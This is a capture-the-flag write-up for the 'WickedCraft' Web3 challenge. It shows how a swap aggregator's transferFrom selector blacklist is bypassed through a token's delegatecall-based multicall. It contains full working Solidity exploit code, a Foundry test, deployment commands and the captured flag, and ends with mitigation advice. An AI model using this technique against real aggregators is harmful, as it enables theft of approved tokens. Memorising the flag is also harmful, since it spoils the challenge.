//WickedCraft - Aggregator Token Swap Exploit
>Challenge Summary
-
Category: Web3 / Smart Contracts
-
Target: A swap
Aggregatorcontract and a customWannaCointoken withmulticall. -
Goal: Get the
Setupcontract'sWannaCointoken balance to satisfyisSolved()by making the token contract hold > 10,000 tokens (it's already initialized in Setup) — effectively causing a token transfer that the aggregator shouldn't allow.
>🔎 Vulnerability Overview
The Aggregator handles complex swap instructions using low-level calldata parsing and command sequences. It attempts to restrict direct transferFrom calls in custom Call command paths by checking the function selector:
- The
executeCommandCallrejects direct calls with thetransferFromselector (0x23b872dd) by reverting.
However, the WannaCoin contract provides a multicall facility (the OpenZeppelin Multicall contract), which invokes arbitrary selector bytes using delegatecall. Critically:
-
AggregatorcallsWannaCoin.multicallusing a regularcall. The token sees theAggregatoraddress asmsg.sender. -
multicallinternally performsdelegatecallon the token's own functions, which preservesmsg.senderas theAggregator. That means atransferFromissued insidemulticallexecutes withAggregatoras caller and the token's storage as the context.
Since Setup called coin.approve(address(aggregator), type(uint256).max), the aggregator is approved and will be allowed to call transferFrom(setup, to, amount). The blacklist in executeCommandCall only blocks direct transferFrom selectors as external calls, but not calls invoked through multicall delegatecalls.
That allows us to craft a call to Aggregator.swap that performs a Call which calls WannaCoin.multicall([transferFrom(setup, coin, amount)]) — effectively pulling tokens from Setup to a target we control (here, token contract address itself), thereby satisfying isSolved().
>🛠 How I found it (brief)
-
Inspected
Aggregator.soland saw theCallcase blacklistingtransferFromvia a selector check. -
Looked into
WannaCoinand foundMulticall.MulticallusesAddress.functionDelegateCall(target, data[i])to exec selectors inside the token via delegatecall. -
Noted
Setuppre-approvedaggregatorto spend tokens. -
Concluded
transferFromcould be executed inmulticallwithmsg.sender == aggregatorand bypass the selector blacklist.
>🧭 Exploit Strategy
-
Build a custom calldata payload for
Aggregator.swapper their internal calldata format used byCalldata.getSwapData()and the command format used inexecute()andexecuteCommand*methods. -
Use a single
Callcommand that points atWannaCoinmulticall()with a single entry containingtransferFrom(setup, coin, amount). -
The
Setupcontract had approved the Aggregator for all tokens so the call will succeed. -
Assert
Setup.isSolved()returns true.
>Reproducing the Exploit Locally (Foundry)
Files relevant:
-
Aggregator.sol— the router we exploit -
WannaCoin.sol— token (ERC20 + Multicall) -
Setup.sol— instantiates token and router, approves router for tokens -
Exploit.sol— exploit contract building the malicious payload -
test/Exploit.t.sol— Foundry test to automate the exploit
Commands to run locally:
# inside WickedCraft/WickedCraft
forge test
This runs the ExploitTest test that deploys Setup, deploys Exploit, runs exploit.attack(), and asserts isSolved().
>Key Exploit Code (annotated)
The core is Exploit.sol.
-
It crafts the binary layout expected by
Aggregator(values, sequences, command blocks). -
It sets
toAssetAddress,fromAssetAddress, etc. toWannaCoinaddress and constructs a singleCalltoWannaCoin.multicall. -
The
multicalldata containstransferFrom(setup, coin, amount)as a nested call, which is exercised withmsg.sender == Aggregator.
Below is the final Exploit (same as in the repo):
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.20;
import {Setup} from "./Setup.sol";
import {Aggregator, CommandAction} from "./Aggregator.sol";
import {WannaCoin} from "./WannaCoin.sol";
import {Multicall} from "./openzeppelin/Multicall.sol";
contract Exploit {
uint16 private constant DATA_OFFSET = 68;
uint16 private constant RESERVED_REGION = 512;
uint16 private constant SEQUENCE_LEN = 5;
uint16 private constant TARGET_BYTES = 32;
uint16 private constant COMMAND_LEN = 9;
uint16 private constant VALUES_BYTES = 32 * 4;
bytes4 private constant TRANSFER_FROM_SELECTOR = 0x23b872dd;
uint256 private constant DRAIN_AMOUNT = 20_000 * 1e18;
uint256 private constant MIN_AMOUNT = 11_000 * 1e18;
function attack(Setup setup) external {
WannaCoin coin = setup.coin();
bytes memory payload = _buildPayload(coin, setup, DRAIN_AMOUNT, MIN_AMOUNT);
setup.aggregator().swap(payload);
}
function _buildPayload(
WannaCoin coin,
Setup setup,
uint256 transferAmount,
uint256 minAmount
) private pure returns (bytes memory payload) {
bytes memory multiData;
{
bytes[] memory calls = new bytes[](1);
calls[0] = abi.encodeWithSelector(
TRANSFER_FROM_SELECTOR,
address(setup),
address(coin),
transferAmount
);
multiData = abi.encodeWithSelector(
Multicall.multicall.selector,
calls
);
}
require(multiData.length <= type(uint16).max, "call-too-long");
uint256 dynamicLen = VALUES_BYTES + multiData.length + SEQUENCE_LEN + TARGET_BYTES + COMMAND_LEN;
payload = new bytes(RESERVED_REGION + dynamicLen);
// Router expects these addresses in the first 3 header slots
_writeAddress(payload, 4, address(coin));
_writeAddress(payload, 24, address(coin));
_writeAddress(payload, 44, address(coin));
uint256 cursor = RESERVED_REGION;
uint16[4] memory valuePtrs;
valuePtrs[0] = _append(payload, cursor, abi.encode(type(uint256).max));
cursor += 32;
valuePtrs[1] = _append(payload, cursor, abi.encode(minAmount));
cursor += 32;
valuePtrs[2] = _append(payload, cursor, abi.encode(uint256(0)));
cursor += 32;
valuePtrs[3] = _append(payload, cursor, abi.encode(uint256(0)));
cursor += 32;
// place call data
uint16 callDataPtr = _append(payload, cursor, multiData);
cursor += multiData.length;
// construct a sequence for the call data
uint16 sequencePtr;
{
bytes memory sequenceBytes = new bytes(SEQUENCE_LEN);
sequenceBytes[0] = bytes1(uint8(4));
_setUint16(sequenceBytes, 1, callDataPtr);
_setUint16(sequenceBytes, 3, uint16(multiData.length));
sequencePtr = _append(payload, cursor, sequenceBytes);
}
cursor += SEQUENCE_LEN;
// target address for the Call command
uint16 targetPtr;
{
bytes memory targetData = new bytes(TARGET_BYTES);
_writeAddress(targetData, 0, address(coin));
targetPtr = _append(payload, cursor, targetData);
}
cursor += TARGET_BYTES;
uint256 commandsStartRel = cursor;
{
bytes memory command = new bytes(COMMAND_LEN);
command[0] = bytes1(uint8(CommandAction.Call));
_setUint16(command, 1, 0);
_setUint16(command, 3, sequencePtr);
_setUint16(command, 5, uint16(uint256(sequencePtr) + SEQUENCE_LEN));
_setUint16(command, 7, targetPtr);
_append(payload, cursor, command);
}
cursor += COMMAND_LEN;
require(cursor == payload.length, "cursor-mismatch");
require(commandsStartRel >= 2, "commands-offset");
_setUint16(payload, 0, uint16(commandsStartRel - 2));
_setUint16(payload, 2, 0);
_setUint16(payload, 65, valuePtrs[0]);
_setUint16(payload, 68, valuePtrs[1]);
_setUint16(payload, 71, valuePtrs[2]);
_setUint16(payload, 74, valuePtrs[3]);
}
function _append(
bytes memory payload,
uint256 offset,
bytes memory src
) private pure returns (uint16 absOffset) {
require(offset + src.length <= payload.length, "append-overflow");
for (uint256 i = 0; i < src.length; ++i) {
payload[offset + i] = src[i];
}
uint256 absolute = DATA_OFFSET + offset;
require(absolute <= type(uint16).max, "pointer-overflow");
absOffset = uint16(absolute);
}
function _setUint16(bytes memory arr, uint256 offset, uint16 value) private pure {
arr[offset] = bytes1(uint8(value >> 8));
arr[offset + 1] = bytes1(uint8(value));
}
function _writeAddress(bytes memory payload, uint256 offset, address addr) private pure {
uint160 value = uint160(addr);
for (uint256 i = 0; i < 20; ++i) {
payload[offset + 19 - i] = bytes1(uint8(value & 0xff));
value >>= 8;
}
}
}
Test Harness
test/Exploit.t.sol used for automated local testing:
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.20;
import {Test} from "forge-std/Test.sol";
import {Setup} from "../Setup.sol";
import {Exploit} from "../Exploit.sol";
contract ExploitTest is Test {
Setup private setup;
Exploit private exploit;
function setUp() public {
setup = new Setup();
exploit = new Exploit();
}
function test_attack() public {
exploit.attack(setup);
assertTrue(setup.isSolved(), "Challenge should be solved");
}
}
>Exploitation Flow - Local
# run tests
forge test
The test deploys the Setup contract, deploys Exploit, calls attack, and asserts the isSolved() condition.
>Exploitation Flow - Remote
1) Launch an instance via the challenge frontend (TCP service):
# connect to challenge control endpoint
nc challenge.cnsc.com.vn 32733
# choose "1" to launch an instance. You will get:
# uuid, rpc endpoint, private key, setup contract address, etc.
2) Deploy the exploit contract to the ephemeral instance
forge create Exploit.sol:Exploit \
--rpc-url http://challenge.cnsc.com.vn:31490/<uuid> \
--private-key <PRIVATE_KEY> --broadcast
3) Execute the exploit
# Replace exploitAddr and setupAddr with actual addresses
cast send <exploitAddr> "attack(address)" <setupAddr> \
--rpc-url http://challenge.cnsc.com.vn:31490/<uuid> \
--private-key <PRIVATE_KEY>
4) Verify success
cast call <setupAddr> "isSolved()(bool)" \
--rpc-url http://challenge.cnsc.com.vn:31490/<uuid>
# Should return 'true'
5) Get the flag
# once the instance indicates the challenge is solved, use the TCP menu option to get the flag
nc challenge.cnsc.com.vn 32733
# choose 3 and provide uuid
>Mitigations & Lessons Learned
- Avoid whitelisting/blacklisting based on function selectors alone: a
multicall/delegatecallpath can bypass such filters.
- Avoid delegatecall usage in cases where msg.sender semantics matter — delegatecall preserves msg.sender, so a call that appears to originate from the aggregator causes the token to treat the aggregator as msg.sender and therefore bypasses selector or caller checks in the router.
- Validate the call path; disallow arbitrary multicall or delegatecall targets issued by untrusted users. Where possible, prefer staticcall when you don't need state modifications on the callee side.
- If multicall is necessary, ensure necessary safeguards: do not allow arbitrary input selectors to be executed if they break your economic model.
Final notes
This challenge demonstrates that blacklisting selectors inside a router is insufficient: delegatecall can be used to perform the same sensitive operation from within the token’s code path and therefore bypass checks. The proper fix is to not trust user-supplied code paths and either only allow calls to known router addresses or disallow cross-contract calls to arbitrary targets.
Appendix: Additional Tools & Commands
Local reproduction commands
cd WickedCraft/WickedCraft
forge test
Remote deployment commands (example)
# launch instance via TCP
nc challenge.cnsc.com.vn 32733
# deploy exploit
forge create Exploit.sol:Exploit --rpc-url http://challenge.cnsc.com.vn:31490/<uuid> --private-key <YOUR_PRIVATE_KEY> --broadcast
# call exploit
cast send <exploitAddr> "attack(address)" <setupAddr> --rpc-url http://challenge.cnsc.com.vn:31490/<uuid> --private-key <YOUR_PRIVATE_KEY>
# verify
cast call <setupAddr> "isSolved()(bool)" --rpc-url http://challenge.cnsc.com.vn:31490/<uuid>
Example remote output
After solving the challenge and requesting the flag via the remote TCP menu, the service replied:
Congratulations! You have solve it! Here's the flag:
W1{tHls_is-WiCk3dcR@ft_CHAI13NGe-FL4g7ac4}